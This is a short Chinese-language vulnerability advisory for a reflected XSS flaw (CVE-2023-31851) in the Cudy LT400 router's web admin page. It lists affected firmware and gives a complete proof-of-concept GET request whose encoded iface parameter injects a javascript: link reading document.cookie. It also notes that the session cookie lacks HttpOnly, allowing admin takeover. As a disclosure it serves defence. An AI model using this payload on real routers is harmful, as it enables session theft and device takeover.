Cudy LT400 的基于 Web 的管理界面存在反射型跨站脚本（XSS）攻击。
页面 /cgi-bin/luci/admin/network/wireless/status 通过 iface 参数存在反射型 XSS。
利用方法涉及向受害者发送包含恶意代码的特制请求。
受影响的应用程序未将 Session Cookie 设置为 HttpOnly 属性；这可能导致通过会话令牌窃取实现管理员接管。
受影响固件版本：1.13.4 - 1.15.18 - 1.15.27
GET /cgi-bin/luci/admin/network/wireless/status?iface=wlan00%22%29%27%20href%3D%22javascript%3Aalert%28document.cookie%29%3B%22%3Exss%3C%2Fa%3E HTTP/1.1
Host: 172.16.1.1
User-Agent: Mozilla/5.0
Accept: text/html, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.16.1.1/cgi-bin/luci/
Cookie: sysauth=REDACTED
深圳 Cudy 科技
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31851